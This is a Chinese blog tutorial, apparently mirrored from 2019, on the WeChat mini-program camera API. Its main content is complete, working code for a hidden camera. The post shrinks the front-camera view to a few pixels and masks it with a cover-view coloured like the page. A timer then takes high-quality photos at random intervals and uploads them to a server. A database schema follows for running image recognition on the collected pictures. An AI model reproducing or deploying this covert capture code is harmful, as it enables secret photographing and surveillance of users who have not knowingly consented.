美文网首页
小程序手机摄像头使用

小程序手机摄像头使用

作者: wwwxi | 来源:发表于2019-10-26 21:45 被阅读0次

1.手机摄像头使用接口

相机组件控制 (wx.createCameraContext)

说明:

创建并返回 camera 上下文 cameraContext 对象,cameraContext 与页面的 camera 组件绑定,一个页面只能有一个camera,通过它可以操作对应的 <camera/> 组件。 在自定义组件下,第一个参数传入组件实例this,以操作组件内 <camera/> 组件

cameraContext 对象的方法列表:

  • takePhoto OBJECT 拍照,可指定质量,成功则返回图片

  • startRecord OBJECT 开始录像

  • stopRecord OBJECT 结束录像,成功则返回封面与视频

  • takePhoto 的 OBJECT 参数列表:

  • quality String 否 成像质量,值为high, normal, low,默认normal

  • success Function 否 接口调用成功的回调函数 ,res = { tempImagePath }

  • fail Function 否 接口调用失败的回调函数

  • complete Function 否 接口调用结束的回调函数(调用成功、失败都会执行)

2. 隐藏摄像头插件

cover-view

描述:覆盖在原生组件之上的文本视图,可覆盖的原生组件包括map、video、canvas、camera、live-player、live-pusher,只支持嵌套cover-view、cover-image,可在cover-view中使用button。

这模块的意思是说cover-view 可以覆盖掉camera这控件

cover-view 嵌套到 camera 里面:

<camera>
  <cover-view></cover-view>
</camera>

这样效果是可以但太占空间了 于是我就把<camera>宽高设成了

width: 10rpx;
height: 14rpx;

只要不隐藏不为0都是可以的拍照的清晰度没有变化只有宽高比例有变化

同样<cover-view>也要把摄像机铺满,背景色调为周围一样的颜色这就相当于隐藏摄像头功能了,再加上定时器抓拍就完成了这项功能。

3.获取用户手机摄像头图片完整代码

wxml:

<view class="page-body">
<view class="page-body-wrapper">
<camera device-position="front" flash="off" binderror="error" class="camera" bindstop='bindstop' binderror='binderror'>
<cover-view class='border_writh'></cover-view>
</camera>
<view class="btn-area">
<button type="primary" bindtap="stoptime">停止</button>
</view>
<view class="preview-tips">预览</view>
<image wx:if="{{src}}" mode="widthFix" src="{{src}}"></image>
</view>
</view>

wxss:

.preview-tips {
  margin: 20rpx 0;
}
.video {
  margin: 50px auto;
  width: 100%;
  height: 300rpx;
}
.border_writh{
  width: 30rpx;
  height: 30rpx;
  background-color:#1aad19;
}
.camera{
  position: absolute;
  top: 5rpx;
  left: 5rpx;
  width: 10rpx;
  height: 14rpx;
}

js:

var time = null;
Page({
/**
* 页面的初始数据
*/
data: {
},
onLoad() {
},
//定时器拍照
setTime: function() {
  let that = this
  let ctx = wx.createCameraContext()
  time = setInterval(function() {
    if (Math.round(Math.random()) == 1) {
      console.log('拍照')
      //拍照
      ctx.takePhoto({
        quality: 'high',
        success: (res) => {
          console.log(res.tempImagePath)
          that.setData({
            src: res.tempImagePath
          })
          that.localhostimgesupdata(res.tempImagePath)
        }
      })
    }
  }, 1000 * 10) //循环间隔 单位ms
},
//图片上传
localhostimgesupdata: function(imgPath) {
  console.log('图片上传')
  wx.uploadFile({
    url: '', /图片上传服务器真实的接口地址
    filePath: imgPath,
    name: 'imgFile',
    success: function(res) {
      wx.showToast({
        title: '图片上传成功',
        icon: 'success',
        duration: 2000
      })
    }
  })
},
stoptime: function() {
  console.log('定时停止')
  clearInterval(time)
},
bindstop: function() {
  console.log('非正常停止')
},
binderror: function() {
  console.log('用户拒绝授权')
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function() {
  console.log('显示')
  //定时器
  this.setTime();
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function() {
  console.log('隐藏')
  clearInterval(time)
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function() {
  console.log('卸载')
  clearInterval(time)
},
})

4.上报图片,调用图像识别接口,识别图片信息,并返回

  • 数据库设计:
字段名称 类型(长度) 备注
id int(11) 自增ID
pic char(128) 图片地址
desc text 图片描述
result tinyint(1) 识别结果
addtime int(11) 上传时间
checktime int(11) 检测时间

相关文章

网友评论

      本文标题:小程序手机摄像头使用

      本文链接:https://www.haomeiwen.com/subject/dugyvctx.html